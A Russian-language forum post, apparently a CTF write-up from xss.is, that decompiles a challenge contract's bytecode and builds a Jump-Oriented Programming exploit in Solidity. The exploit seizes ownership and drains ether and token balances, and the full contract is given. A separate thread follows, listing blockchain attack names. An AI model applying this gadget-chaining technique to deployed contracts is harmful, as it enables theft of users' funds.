b6009600081548092919060010191905055505b642e90edd0003a10611d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120026023913960400191505060405180910390fd5b611d3934600b60009054906101000a90048015611f51021767ffffffffffffffff1663ffffffff16565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dde576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dea60008383611f02565b611dff816002546116cf90919063ffffffff16565b600281905550611e56816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000611f4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160f565b905092915050565bfefe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636576616c69646174655075726368617365496d706c2f70757263686173652d63617045524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636576616c696461746550757263686173652f6761732d70726963652d746f6f2d6869676845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202f6b4ad5c3d04c0cb2f974d1cec6bb6bde2404ff3b06700630e57218187a06c064736f6c6343000706003376616c69646174655075726368617365496d706c2f70757263686173652d636170

Примечание: Я сразу убрал байт-код конструктора, так что можете прямо так в дизассемблер и закидывать

И контракт Setup:

Code:Copy to clipboard

pragma solidity 0.7.6;

import "private/Challenge.sol";

interface ChallengeInterface is IERC20 {
    function buyTokens() external payable;
    
    function owner() external view returns (address);
}

contract Setup {
    ChallengeInterface public challenge;
    
    constructor() public payable {
        require(msg.value == 50 ether);
        
        challenge = ChallengeInterface(address(new Challenge(990, 1010)));
        challenge.buyTokens{value: msg.value}();
    }
    
    function isSolved() public view returns (bool) {
        return  challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
                challenge.balanceOf(address(this)) == 0 &&
                address(challenge).balance == 0;
    }
}

А задача перед нами стоит не простая: Заставить isSolved() возвращать true! Для этого нам подребуется 3 вещи:

  1. Сделать адрес 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD владельцем задания
  2. Обнулить баланс контракта Setup
  3. Обнулить баланс задания

Вы спросите: "И как же нам этого добиться?", а ответом на ваш вопрос будет название задания - JOP!

Jump Oriented Programming
Если вы ранее занимались эксплуатацией чего-либо, вам должно быть знакомо понятие ROP. Если нет, то я поясню:
Return oriented programming - это техника эксплуатации, суть которой заключается в том что вы получаете контроль над стеком вызовов, а затем подбирая так называемые гаджеты, и выставляя их в нужной последовательности, заставляете программу делать то, что вам нужно.

Думаю понятно обяснил. Если нет то вот пример:
Допустим в программе есть место, где вы можете контролировать стек. Если в этом месте есть иструкция return, вы можете перейти по адресу, который лежит сверху на стеке. Этим адресом может выступать другая часть программы которая тоже заканчивается инструкцией ret. Таким образом вы опять перейдёте к нужному вам месту, и выполните некий нужный вам ряд иструкций идущий перед инструкцией ret. Собрав несколько таких ret "гаджетов", вы сможете выполнить действие, например вызвать функцию с нужными вам параметрами на стеке и в регистах.
Вот не плохая статья на habr, с простеньким примером экплуатации: https://habr.com/ru/post/255519/

Надеюсь теперь стало ясно.

В нашем случае, у нас вместо инструкции ret будет иструкция jmp. Что сути не меняет.

Выбираем цели
Сначала давайте определим логику, которую нам надо выполнить:

1 - Назначить владельцем 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD
Для этого нам понадобится функции transferOwnership и acceptOwnership. Точнее не сами функции, я лишь их части. Давайте взглянем:

Code:Copy to clipboard

function transferOwnership(var arg0, var arg1) {
    arg0 = msg.data[arg0:arg0 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffff;
    
    if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
        storage[0x06] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff);
        return;
    } else {
        var temp0 = memory[0x40:0x60];
        memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp1 = temp0 + 0x04;
        var temp2 = temp1 + 0x20;
        memory[temp1:temp1 + 0x20] = temp2 - temp1;
        memory[temp2:temp2 + 0x20] = 0x1b;
        var temp3 = temp2 + 0x20;
        memory[temp3:temp3 + 0x20] = 0x7472616e736665724f776e6572736869702f6e6f742d6f776e65720000000000;
        var temp4 = memory[0x40:0x60];
        revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
    }
}

Так выглядить декомпилированная transferOwnership. Разобраться в её логике не трудно, она просто проверяет являемся ли мы действующий владельцем контракта(storage[0x05]), и если да, то назначает нового владельца(storage[0x06]).

Обойти проверку будет не трудно, так как мы сможем переходить сразу к любой инструкции контракта. В данном случае нас интересует следующий блок инструкций, он пишет в storage[0x06] и заканчивается инструкцией JUMP:

Code:Copy to clipboard

102A    5B  JUMPDEST
102B    80  DUP1
102C    60  PUSH1 0x06
102E    60  PUSH1 0x00
1030    61  PUSH2 0x0100
1033    0A  EXP
1034    81  DUP2
1035    54  SLOAD
1036    81  DUP2
1037    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
104C    02  MUL
104D    19  NOT
104E    16  AND
104F    90  SWAP1
1050    83  DUP4
1051    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1066    16  AND
1067    02  MUL
1068    17  OR
1069    90  SWAP1
106A    55  SSTORE
106B    50  POP
106C    50  POP
106D    56  *JUMP

Запишем адрес 102A, как transfer_ownership

Теперь acceptOwnership:

Code:Copy to clipboard

function acceptOwnership() {
    if (msg.sender == storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) {
        storage[0x05] = (storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) * 0x0100 ** 0x01 | (storage[0x05] & ~(0xffffffffffffffffffffffffffffffffffffffff * 0x0100 ** 0x01));
        storage[0x06] = (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff) | 0x00;
        return;
    } else {
        var temp0 = memory[0x40:0x60];
        memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp1 = temp0 + 0x04;
        var temp2 = temp1 + 0x20;
        memory[temp1:temp1 + 0x20] = temp2 - temp1;
        memory[temp2:temp2 + 0x20] = 0x1e;
        var temp3 = temp2 + 0x20;
        memory[temp3:temp3 + 0x20] = 0x6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e65720000;
        var temp4 = memory[0x40:0x60];
        revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
    }
}

Здесь присутствует проверка являемся ли мы новым владельцем. Её мы тоже спокойно минуем, прыгая сразу к нужному блоку инструкций:

Code:Copy to clipboard

0C4A    5B  JUMPDEST
0C4B    60  PUSH1 0x06
0C4D    60  PUSH1 0x00
0C4F    90  SWAP1
0C50    54  SLOAD
0C51    90  SWAP1
0C52    61  PUSH2 0x0100
0C55    0A  EXP
0C56    90  SWAP1
0C57    04  DIV
0C58    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C6D    16  AND
0C6E    60  PUSH1 0x05
0C70    60  PUSH1 0x01
0C72    61  PUSH2 0x0100
0C75    0A  EXP
0C76    81  DUP2
0C77    54  SLOAD
0C78    81  DUP2
0C79    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C8E    02  MUL
0C8F    19  NOT
0C90    16  AND
0C91    90  SWAP1
0C92    83  DUP4
0C93    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CA8    16  AND
0CA9    02  MUL
0CAA    17  OR
0CAB    90  SWAP1
0CAC    55  SSTORE
0CAD    50  POP
0CAE    60  PUSH1 0x00
0CB0    60  PUSH1 0x06
0CB2    60  PUSH1 0x00
0CB4    61  PUSH2 0x0100
0CB7    0A  EXP
0CB8    81  DUP2
0CB9    54  SLOAD
0CBA    81  DUP2
0CBB    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CD0    02  MUL
0CD1    19  NOT
0CD2    16  AND
0CD3    90  SWAP1
0CD4    83  DUP4
0CD5    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CEA    16  AND
0CEB    02  MUL
0CEC    17  OR
0CED    90  SWAP1
0CEE    55  SSTORE
0CEF    50  POP
0CF0    56  *JUMP

Запишем адрес 0C4A, как accept_ownership

2 - Обнулить баланс контракта Setup
Обратимся к части фукнции sellTokens:

Code:Copy to clipboard

1757    5B  JUMPDEST
1758    60  PUSH1 0x00
175A    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
176F    16  AND
1770    82  DUP3
1771    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1786    16  AND
1787    14  EQ
1788    15  ISZERO
1789    61  PUSH2 0x17dd
178C    57  *JUMPI

Запишем адресс 1757 как zero_setup

3 - Обнулить баланс задания
Для этого нам нужен следующий кусок функции sellTokens:

Code:Copy to clipboard

191B    5B  JUMPDEST
191C    60  PUSH1 0x00
191E    82  DUP3
191F    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1934    16  AND
1935    82  DUP3
1936    60  PUSH1 0x40
1938    51  MLOAD
1939    80  DUP1
193A    60  PUSH1 0x00
193C    01  ADD
193D    90  SWAP1
193E    50  POP
193F    60  PUSH1 0x00
1941    60  PUSH1 0x40
1943    51  MLOAD
1944    80  DUP1
1945    83  DUP4
1946    03  SUB
1947    81  DUP2
1948    85  DUP6
1949    87  DUP8
194A    5A  GAS
194B    F1  CALL
194C    92  SWAP3
194D    50  POP
194E    50  POP
194F    50  POP
1950    3D  RETURNDATASIZE
1951    80  DUP1
1952    60  PUSH1 0x00
1954    81  DUP2
1955    14  EQ
1956    61  PUSH2 0x197b
1959    57  *JUMPI

Да, он заканчивается прыжком на 197B, вот этот адресс:

Code:Copy to clipboard

197B    5B  JUMPDEST
197C    60  PUSH1 0x60
197E    91  SWAP2
197F    50  POP
1980    5B  JUMPDEST
1981    50  POP
1982    50  POP
1983    90  SWAP1
1984    50  POP
1985    80  DUP1
1986    61  PUSH2 0x19f7
1989    57  *JUMPI

Он в свою очередь прыгнет на 19F7:

Code:Copy to clipboard

19F7    5B  JUMPDEST
19F8    50  POP
19F9    50  POP
19FA    50  POP
19FB    56  *JUMP

И вновь передаст упраление нам! Так что 191B - подходит, запишем этот адресс как zero_challenge

Точка входа
Точкой входа для нас станет функция buyTokens, а вернее часть dispatcher:

Code:Copy to clipboard

1D0F    5B  JUMPDEST
1D10    61  PUSH2 0x1d39
1D13    34  CALLVALUE
1D14    60  PUSH1 0x0b
1D16    60  PUSH1 0x00
1D18    90  SWAP1
1D19    54  SLOAD
1D1A    90  SWAP1
1D1B    61  PUSH2 0x0100
1D1E    0A  EXP
1D1F    90  SWAP1
1D20    04  DIV
1D21    80  DUP1
1D22    15  ISZERO
1D23    61  PUSH2 0x1f51
1D26    02  MUL
1D27    17  OR
1D28    67  PUSH8 0xffffffffffffffff
1D31    16  AND
1D32    63  PUSH4 0xffffffff
1D37    16  AND
1D38    56  *JUMP

Уникальность этого блока инструкций в том, что переход в конце будет сделан на значение из памяти: storage[0x0b]. Кроме того, в качетсве параметра будет передано msg.value, который мы контролируем. И что же нам это даёт? - спросите вы. Дело в том что в контракте существует следующая internal функция:

Code:Copy to clipboard

function func_0350(var arg0, var arg1) {
    arg0 = msg.data[arg0:arg0 + 0x20];
    storage[0x0b] = arg0;
}

Она записывает первый аргумент в storage[0x0b]. А обратится к ней, мы можем вызвав public функцию c идентификатором 0x27f83350:

Code:Copy to clipboard

} else if (var0 == 0x27f83350) {
    var1 = msg.value;

    if (var1) { revert(memory[0x00:0x00]); }

    var1 = 0x0366;
    var2 = 0x04;
    var3 = msg.data.length - var2;

    if (var3 < 0x20) { revert(memory[0x00:0x00]); }

    func_0350(var2, var3);
    stop();
}

Вот вам и точка входа!
**
Гаджеты**
Для того чтобы уложить гаджеты должным образом, нам потребуются ещё несколько блоков инструкций которые переместят наши гаджеты из msg.data на стек, в нужном порядке.

Начнём с самого простого что нам пригодится - гаджет который будет прыгать на адресс с верхушки стека

Code:Copy to clipboard

1D39    5B    JUMPDEST
1D3A    56    *JUMP

Запишем 1D39 как jump_stack

Продолжим с простыми гаджетами. Теперь нам нужен гажет, который будет останавливать выполнение, чтобы не вызвать ошибки после выполнения нашего jop эксплойта:

Code:Copy to clipboard

084A    5B  JUMPDEST
084B    00  *STOP

Запишем 084A как stop

Нам осталось ещё 2 гаджета, и это пожалуй самая сложная для понимания часть статьи потому, что я буду объяснять как будет работать стек нашего эксплойта. Постараюсь объяснить максимально понятно:

Начнём с того, что нам нужен некий гаджет, который будет перемещать значения из msg.data на стек. На эту роль идеально подходит функция 19FC:

Code:Copy to clipboard

function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
    r2 = 0x00;
    r3 = r2;
    var var2 = 0x00;
    var var3 = var2;
    var temp0 = arg0;
    var var4 = msg.data[temp0:temp0 + 0x20];
    var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
    var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
    var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];

    if (var5 <= 0x00 << 0x00) {
        var temp11 = memory[0x40:0x60];
        memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp12 = temp11 + 0x04;
        var temp13 = temp12 + 0x20;
        memory[temp12:temp12 + 0x20] = temp13 - temp12;
        memory[temp13:temp13 + 0x20] = 0x12;
        var temp14 = temp13 + 0x20;
        memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
        var temp15 = memory[0x40:0x60];
        revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
    } else if (var6 <= 0x00 << 0x00) {
        var temp6 = memory[0x40:0x60];
        memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp7 = temp6 + 0x04;
        var temp8 = temp7 + 0x20;
        memory[temp7:temp7 + 0x20] = temp8 - temp7;
        memory[temp8:temp8 + 0x20] = 0x12;
        var temp9 = temp8 + 0x20;
        memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
        var temp10 = memory[0x40:0x60];
        revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
    } else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) {
        var temp1 = memory[0x40:0x60];
        memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp2 = temp1 + 0x04;
        var temp3 = temp2 + 0x20;
        memory[temp2:temp2 + 0x20] = temp3 - temp2;
        memory[temp3:temp3 + 0x20] = 0x12;
        var temp4 = temp3 + 0x20;
        memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
        var temp5 = memory[0x40:0x60];
        revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
    } else if (var7 >= 0x1b) {
        // Нужное нам место
        r3 = var7;
        arg0 = var5;
        r2 = var6;
        r0 = var4;
        return r0, arg0, r2, r3;
    } else {
        r3 = var7 + 0x1b;
        arg0 = var5;
        r2 = var6;
        r0 = var4;
        return r0, arg0, r2, r3;
    }
}

Коротко о том, что делает данная функция: Принимает аргумент как смещение в msg.data и читает 4 значения на стек.
Все проверки, идущие до else if (var7 >= 0x1b), будут нами провалены что и приведёт нас к нужному нам месту.

Запишем 19FC как store_to_stack

Далее нам понадобится ещё один гаджет, он будет вызывать нашу фукнцию:

Code:Copy to clipboard

0CF1    5B  JUMPDEST
0CF2    60  PUSH1 0x00
0CF4    80  DUP1
0CF5    60  PUSH1 0x00
0CF7    80  DUP1
0CF8    61  PUSH2 0x0d00
0CFB    85  DUP6
0CFC    61  PUSH2 0x19fc
0CFF    56  *JUMP

Он вызовет нашу функцию с передавая ей в качестве аргумента stack[-1], а в качестве адреса возврата 0D00:

Code:Copy to clipboard

0D00    5B  JUMPDEST
0D01    93  SWAP4
0D02    50  POP
0D03    93  SWAP4
0D04    50  POP
0D05    93  SWAP4
0D06    50  POP
0D07    93  SWAP4
0D08    50  POP
0D09    91  SWAP2
0D0A    93  SWAP4
0D0B    50  POP
0D0C    91  SWAP2
0D0D    93  SWAP4
0D0E    56  *JUMP

0D00 же, просто будет прыгать на stack[-4]

Запишем 0CF1 как call_store_to_stack

Собираем стек
Итак, теперь давайте пошагово разберём как будет устроен наш стек. Следите за руками:

Из нашей точки входа, будем вызывать store_to_stack. Аргумент функция получит из msg.value, который в нашем случае будет 0x44. После того как store_to_stack выполнится, он вернётся на адрес 1D39, так как это адрес возврата, который оставила наша точка входа. Знакомый адрес, правда? Это наш гаджет jump_stack:

Code:Copy to clipboard

1D39    5B    JUMPDEST
1D3A    56    *JUMP

Он совершит прыжок на адрес с верхушки стека, и это будет последний, четвёртый из прочитаных только что store_to_stack элемент!

Четвёртым элементом будет наш call_store_to_stack, который опять вызовет наш store_to_stack, дабы переместить на стек следующие 4 элемента.

Тогда третим нужно будет пложить аргумент для store_to_stack - смещение к следующим 4 элементам из msg.data. Расчитывать его будем так:

Code:Copy to clipboard

изначальное смещение(0x44) + наши 4 уже прочитаных элемента

И так, после выполнения, как и писалось выше, store_to_stack вернётся к адресу 0D00, код по которому закончится прыжком на stack[-4]. А stack[-4] в нашем случае будет 2 элемент который мы прочитали изначально! Им будет гаджет jump_stack, который перейдёт к адресу с верхушки стека, то есть опять к 4 элементу, но уже из следующих прочитаных.

И так, после проведённых выше манипуляций, у нас на стеке останется первый элемент из первоначальных, и 4 которые мы только что прочитали. 4 следующих элемента будут уложены таким же образом, и так далее.

То есть наша полезная нагрузка будет состоять блоков по 4 элемента:

  1. Значение которое нужно поместить на стек
  2. jump_stack, нужный чтоб прыгнуть на 4 из элементов что будут прочитаны на этой итерации
  3. Аргумент для store_to_stack, в виде смещения к следующим 4 элементам
  4. call_store_to_stack

Надеюсь понятно объяснил. Если не получилось вникнуть - перечитайте.

Пишем эксплоит
Создадим контракт и импортируем setup:

Code:Copy to clipboard

pragma solidity 0.7.6;

import "Setup.sol";

contract exploit {

}

Добавим наши гаджеты:

Code:Copy to clipboard

uint constant transfer_ownership = 0x102a;
uint constant accept_ownership = 0x0c4a;
uint constant zero_setup = 0x1757;
uint constant zero_challenge = 0x191b;
uint constant jump_stack = 0x1d39;
uint constant stop = 0x084a;
uint constant store_to_stack = 0x19fc;
uint constant call_store_to_stack = 0x0cf1;

Создадим хранилище для полезной нагрузки:

Code:Copy to clipboard

uint[] data;

Напишем коструктор и получим интерфейс задачи:

Code:Copy to clipboard

constructor(Setup setup) public payable{
    ChallengeInterface challenge = setup.challenge();
}

Добавим фукнцию которая будет вводить 2,3 и 4 элементы:

Code:Copy to clipboard

function add_values(uint offset) private {
    data.push(jump_stack);
    data.push(offset);
    data.push(call_store_to_stack);
}

Теперь более подробно. Начнём с конца нашей jop цепочки, то есть с гаджета stop:

Code:Copy to clipboard

data.push(stop); //Добавляем гаджет
add_values(0x44 + 0x80 * 1); //Указываем смещение

Далее возьмёмся за передачу владения контрактом:

Code:Copy to clipboard

data.push(accept_ownership);
add_values(0x44 + 0x80 * 2);

data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
add_values(0x44 + 0x80 * 3);

data.push(transfer_ownership);
add_values(0x44 + 0x80 * 4);

_Примечание: Я сознательно не добавил в функциюadd_values значение для инкремента, а просто решил указывать его каждый раз потому, что так нагляднее видно как считается смещение _

Обнулим баланс задания, переведя все 50 eth себе:

Code:Copy to clipboard

data.push(uint(address(this)));
add_values(0x44 + 0x80 * 5);

data.push(address(challenge).balance + 0x44);
// Мы добавляем 0x44, так как позже при вызове точки входа мы передадим 0x44 как value(аргумент для store_to_stack)
add_values(0x44 + 0x80 * 6);

data.push(zero_challenge);
add_values(0x44 + 0x80 * 7);

И обнулим баланс setup:

Code:Copy to clipboard

data.push(uint(address(setup)));
add_values(0x44 + 0x80 * 8);

data.push(challenge.balanceOf(address(setup)));
add_values(0x44 + 0x80 * 9);

data.push(zero_setup);
add_values(0x44 + 0x80 * 10);

Наконец добавим 4 jump_stack в качестве последнего блока элементов. Они выступают как заглушка - последними будут прочитаны они, после чего будет совершён прыжок на последний из них, и заложенная в нагрузку логика начнёт выполнятся.

Code:Copy to clipboard

data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);

Наша нагрузка готова! Теперь займёмся вызывами:

Code:Copy to clipboard

// Готовим точку входа
address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));

// Вызываем и передаём нашу нагрузку
address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));

Полный код эксплойта:

Code:Copy to clipboard

pragma solidity 0.7.6;

import "Setup.sol";

contract exploit {   
    uint[] data;
    
    uint constant transfer_ownership = 0x102a;
    uint constant accept_ownership = 0x0c4a;
    uint constant zero_setup = 0x1757;
    uint constant zero_challenge = 0x191b;
    uint constant jump_stack = 0x1d39;
    uint constant stop = 0x084a;
    uint constant store_to_stack = 0x19fc;
    uint constant call_store_to_stack = 0x0cf1;
    
    function add_values(uint offset) private {
        data.push(jump_stack);
        data.push(offset);
        data.push(call_store_to_stack);
    }
    
    constructor(Setup setup) public payable{
        ChallengeInterface challenge = setup.challenge();
        
        data.push(stop);
        add_values(0x44 + 0x80 * 1);
        
        data.push(accept_ownership);
        add_values(0x44 + 0x80 * 2);
        
        data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
        add_values(0x44 + 0x80 * 3);
        
        data.push(transfer_ownership);
        add_values(0x44 + 0x80 * 4);
        
        data.push(uint(address(this)));
        add_values(0x44 + 0x80 * 5);
        
        data.push(address(challenge).balance + 0x44);
        add_values(0x44 + 0x80 * 6);
        
        data.push(zero_challenge);
        add_values(0x44 + 0x80 * 7);
        
        data.push(uint(address(setup)));
        add_values(0x44 + 0x80 * 8);
        
        data.push(challenge.balanceOf(address(setup)));
        add_values(0x44 + 0x80 * 9);
        
        data.push(zero_setup);
        add_values(0x44 + 0x80 * 10);
        
        data.push(jump_stack);
        data.push(jump_stack);
        data.push(jump_stack);
        data.push(jump_stack);
        
        address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));
        address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));
    }
}

Тестируем
Настало время проверить эксплоит в действии! Развернём Setup:

13.png

Размещаем наш эксплоит:

14.png

И проверяем, решена ли задача:

15.png

Итоги
Время подвести итог. Как по мне, так тема эксплуатации смарт-контрактов очень обделена вниманием, и надеюсь кого-нибудь я этой статьёй заинтересовал. Если у вас будут какие-либо вопросы - не стесняйтесь мне писать.

В эту статью я вложил много времени, поэтому многие переводы которые я должен был сделать задержались, постараюсь закончить с ними по возможности быстро.

Azrv3l cпециально для xss.is

Подскажите где форум по блокчеин нормаьный ?
ID: 67686ad7b4103b69df37992e
Thread ID: 52442
Created: 2021-06-02T21:29:41+0000
Last Post: 2022-07-27T13:06:49+0000
Author: XLino
Replies: 13 Views: 2K

только без таких тем типо ” как бтутить кашелёк“. Интересует flash loans, reentrance,и тд. Тут кому интересно выкладываю вулнерабилити, но не все:

Code:Copy to clipboard

Name of weakness
Account Hijacking
API Exposure
Artificial Difficulty Increases
Balance Attack
Bitcoin lightning - Eclipse Attack Time Dilation
Bitcoin lightning - flood and loot
Bitcoin lightning - pinning
Bitcoin lightning - spamming payment micropayments
Block Forger DoS
Block Mining Finney Attack
Block Mining Race Attack
Block Mining Timejack Attack
Block Reordering Attack
Blockchain Ingestion
Blockchain Network Lacks Hash Capacity
Blockchain Network Partitioning Attack
Blockchain Peer flooding Attack
Blockchain Peer flooding Attack Slowloris variant
Blockchain reorganization attack
Blockchain Weak Sources of Randomness
Consensus 34% Attack
Consensus 51% Attack
Consensus Attack
Consensus Attack against PoS
Consensus Attack against PoW
Consensus Delay Attack
Consensus Majority Attack
Credential Stuffing
Cryptomining
Cryptomining Malware
Data corruption
Dictionary Attack
Distributed-Denial-of-Service Attack
DNS Attacks
DoS against Ethereum 2.0 validator to trigger penalty for being offline
Double Spending Attack
Download of Data Without Integrity Check
Dusting attack
Eclipse Attack
EOS RAM Vulnerability
ERC20 token transfer to self token address (and possibly other tokens)
Ethereum Solidity prior to 0.5.0 view promise not enforced
Evil Maid attack
Failure to Update
Fixed Consensus Termination
Flash Loans
Flawed Blockchain Network Design
Fork-after-withhold Attack
Freeloading
Front Running
Front Running displacement
Front Running insertion
Front Running Mempool
Front Running Oracle
Front Running suppression
Frozen ether
Gas Limit DoS on the Blockchain Network via Block Stuffing
Hard fork software update
Hash functions
Homomorphic encryption
Identity and Access Management Overview
Immutable Bugs
Implementation of something they should use a standard library for
Indistinguishable chains
Insecure API Connections
Insider Threat
Leading ether to arbitrary address
Long-Range Attack
Lost ether in the transaction
Majority attack
Malfunctioned MSP
Malicious Mining
Malicious Web Extensions
Membership Service Provider Attacks
Mirroring
Multi-Factor Authentication (MFA)
Multiple signatures
Namespace squatting on internal packages
Network Routing Attacks
Non-existent accounts
Nothing at Stake
On-chain data confidentiality
Orphan Blocks
Parity Multisig Wallet Attack
Permissioned Blockchain MSP DoS
Phishing Attack
Pool Hopping
Private Key Leakage Attack
Public peer selection
Replay Attack
Requirement of keeping real world PII data associated with crypto wallet addresses
Ring signatures
RPC Call vulnerability
Selfish Mining Attack (Block Withholding Attack)
SIM Swap
Single Perspective Validation
Smart Contract  Use of Outdated Compiler Version
Smart Contract Access Control - Smart Contract Initialization
Smart Contract Arbitrary Jump with Function Type Variable
Smart Contract Assert Violation
Smart Contract Authorization through tx.origin
Smart Contract Block values as a proxy for time
Smart Contract Call Depth Attack
Smart Contract Call to Unknown function via fallback()
Smart Contract Code With No Effects
Smart Contract Cross-Function Race Condition
Smart Contract default fallback address attack
Smart Contract Delegate call injection
Smart Contract Delegate call to Untrusted Callee
Smart Contract Disordered Exceptions
Smart Contract DoS
Smart Contract DoS With Block Gas Limit
Smart Contract DoS with Failed Call
Smart Contract DoS with unbounded operations
Smart Contract DoS with unexpected revert
Smart Contract Erroneous constructor name
Smart Contract Erroneous visibility
Smart Contract Ether Lost in Transfer
Smart Contract Ether lost to orphan address
Smart Contract Ethereum Gasless Send
Smart Contract Floating Pragma
Smart Contract Forcibly Sending Ether to a Contract
Smart Contract has undocumented "onlyOwner" termination function or other capability
Smart Contract Hash Collisions With Multiple Variable Length Arguments
Smart Contract Immutable Bugs
Smart Contract Incorrect Constructor Name
Smart Contract Incorrect ERC20 implementation
Smart Contract Incorrect function state mutability
Smart Contract Incorrect Inheritance Order
Smart Contract Insufficient Gas Griefing
Smart Contract Integer Overflow and Underflow
Smart Contract Keeping Secrets
Smart Contract Lack of Address Key Binding
Smart Contract Lack of Proper Signature Verification
Smart Contract Manipulated balance
Smart Contract Message call with hardcoded gas amount
Smart Contract Mishandled Exceptions
Smart Contract Missing Protection against Signature Replay Attacks
Smart Contract Presence of unused variables
Smart Contract Race Conditions
Smart Contract Reentrancy Race Condition
Smart Contract Requirement Violation
Smart Contract Right-To-Left-Override control character (U+202E)
Smart Contract Shadowing State Variables
Smart Contract Short Address Attack
Smart Contract Signature Malleability
Smart Contract Source Code Unavailable for review
Smart Contract Stack Size Limit
Smart Contract State Variable Default Visibility
Smart contract time related issues
Smart Contract Timestamp Dependency
Smart Contract Transaction Order Dependence
Smart Contract Transaction Ordering Dependency (TOD)
Smart Contract Typecasts
Smart Contract Typographical Error
Smart Contract Unchecked Call Return Value
Smart Contract Unchecked Return Values
Smart Contract Underpriced opcodes
Smart Contract Unencrypted Private Data On-Chain
Smart Contract unexpected call return value
Smart Contract Unexpected Ether balance
Smart Contract Uninitialized Storage Pointer
Smart Contract Unpredictable State
Smart Contract Unprotected Ether Withdrawal
Smart Contract Unprotected SELFDESTRUCT Instruction
Smart Contract Unprotected suicide
Smart Contract upgradeable contract
Smart Contract Usage of "continue" in "do-while"
Smart Contract Use of Deprecated Solidity Functions
Smart Contract Weak Field Modifier
Smart Contract Weak Sources of Randomness from Chain Attributes
Smart Contract Write to Arbitrary Storage Location
Smat Contrct Function Default Visibility
Soft Forks
Sole Block Synchronization
Stealth addresses
Sybil Attacks
Time Manipulation
Timebomb
Timejacking
Transaction Flooding
Transaction malleability
Two-Factor Authentication (2FA)
Two-Factor Authentication (2FA) via Biometrics
Two-Factor Authentication (2FA) via Email
Two-Factor Authentication (2FA) via SMS
Typo squatting on spellcheck names
Uncle block rewards
Uncle Forks
Unlimited incoming connections
Vector76
Voice Assistant Attack
Vote Token trapping
Vulnerabilities in virtual machines(EVM,JVM)
Vulnerability to Malware
Vulnerable Signatures
Wallet theft
Wallet Weak seed creation
Zero Balance Accounts
